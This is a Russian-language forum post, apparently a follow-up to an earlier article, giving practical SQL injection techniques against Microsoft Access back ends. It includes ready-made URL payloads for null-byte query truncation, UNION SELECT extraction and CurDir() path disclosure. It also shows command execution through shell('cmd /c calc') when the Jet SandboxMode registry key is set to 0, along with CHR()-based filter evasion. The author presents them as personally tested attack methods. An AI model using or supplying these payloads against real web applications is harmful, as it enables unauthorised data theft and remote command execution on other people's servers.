Доплнение
Чтобы избежать дальнейших противоречий, вопросов и ссылок на непроверенные источники
поднял у себя
MS Access 2003 дабы убедится во всем самолично.
При анализе так же использовалась утилита:
ADO Query Tools
Version 1.0.8 build 23
Copyright (c) Arbinada.com 2007
скачать
Итак приступим...
[Провайдеры]
Для взаимодействия с MS Access обычно используются два провайдера(драйвера):
Microsoft OLE DB Provider for ODBC Drivers
Поставляется по умолчанию с Windows
и
Microsoft Jet 4.0 OLE DB Provider
Устанавливается дополнительно в зависимости от нужд.
У меня установился вместе с ADO Query Tools
Поэтому при инъекции в MS Access одинаково часто можно встретить ошибки двух типов:
Код:
[Microsoft][ODBC Microsoft Access Driver]
Syntax error ....
или
Код:
Microsoft JET Database Engine error '80040e14'
Syntax error in string ....
[Комментарии]
MS Access не поддерживает ни один вид комментариев!
Как и было указано в самой статье - для усечения оставшейся части
запроса после инжектируемого параметра не возможно воспользоваться
символами комментариев типа "/*", "--", "#".
Но при этом(важно!) для усечения можно воспользоваться нуль-байтом (%00)
MS Access воспринимает его как конец запроса =)
пример:
Код:
www.site.com/view.asp?id=-1+union+select+1+from+users%00
При этом символ "#" при попытке усечения запроса через http get-запрос,
просто не учитывается и не подставляется в SQL-запрос вместе с параметром,
что создает эффект усечения.
[Шелл]
В MS Access возможно в запросах использовать функции
shell(), curdir()
По умолчанию (для безопасности) использование этих функций отключено.
В реестре ключ
Код:
\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode
по умолчанию равен
3
Если этот ключ каким либо образом (случайно или преднамерено)
установлен в
0 возможно выполнение этих функций!
Пример Shell:
Код:
www.site.com/view.asp?id=1+and+shell('cmd /c calc')%00
Запускается калькулятор - проверено лично, робит =)
Пример CurDir:
Код:
www.site.com/view.asp?id=1+union+select+CurDir()+from+table%00
получим текущую диру расположения файла с БД.
Необходимо знать имя таблицы и кол-во столбцов(как см. статью)
[Обход фильтрации]
В MS Access отсутствует функции concat(), поэтому для конкатенации
используются
операторы "+" и "&"
При этом при http get необходимо учитывать что символ "+" надо заменять на %2B
Для обхода фильтрации можно воспользоваться функций
CHR()
При этом надо помнить, что строки надо кодировать посимвольно!
т.е.
Код:
CHR(XX)%2BCHR(XX)%2BCHR(XX)%2B....
[Запросы]
В простых запросах SELECT как и писал
[cash]
можно обойтись без FROM TABLE
работает проверено =)
Но при проведении инъекции с внедрением своего
запроса через параметр получается сложный запрос.
При использовании конструкции
UNION SELECT в
объединяемом запросе необходимо присутствия
FROM TABLE
тоже проверено =)
[ЗЫ]
Инфа по теме http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html